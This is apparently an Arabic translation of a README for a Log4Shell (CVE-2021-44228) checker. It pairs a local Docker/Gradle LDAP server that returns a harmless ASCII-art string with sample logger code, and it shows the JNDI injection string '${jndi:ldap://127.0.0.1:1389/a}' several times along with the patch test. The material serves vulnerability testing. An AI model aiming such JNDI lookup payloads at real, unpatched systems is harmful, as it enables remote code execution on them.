
مفحص الثغرة CVE-2021-44228
هذا هو المستودع للتحقق من الثغرة الأمنية CVE-2021-44228.
هذا دليل إثبات المفهوم (PoC) يعرض فقط سلاسل نصية دون تحميل أي فئات خارجية. لا يمكن استخدامه لتنفيذ أكواد عشوائية.
الصورة ghcr.io/greymd/cve-2021-44228/server متاحة ويمكن تشغيلها على Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
قم بإعداد الكود لإخراج السجلات باستخدام log4j وتشغيله على نفس المضيف.
اجعل سلسلة الإخراج ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
إذا كانت الوسيطة تسبب ثغرة، فسيتم تسجيل العبارة 「うんこもりもり」(والتي تعني "الكثير من البراز") بنجاح.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
إذا كنت كسولًا لكتابة وبناء الكود الخاص بك، يمكنك استخدام تطبيق مسجل بسيط في هذا المستودع. سيتم إخراج الوسيطة الأولى بواسطة المسجل.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
مثال على إعطاء وسيطة تسبب ثغرة سيكون كما يلي.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
إذا كان لديك إصدار من log4j غير متأثر بالثغرة، أو أن تطبيق الخادم لا يعمل، فسيتم إخراج السلسلة كما هي دون أي تعديل. يمكنك التحقق من ذلك بتحديث إصدار تطبيق المسجل كما هو موضح أدناه.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
كما ذكرت (وحسب ما قمت بالتحقيق فيه)، لن يتم إعادة إنتاج هذه الثغرة ما لم يكن خادم الوجهة لـ JNDI قيد التشغيل. لذلك، فإن دليل إثبات المفهوم البسيط مفيد.
تم استخدام عناوين URL التالية كمرجع في التنفيذ.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)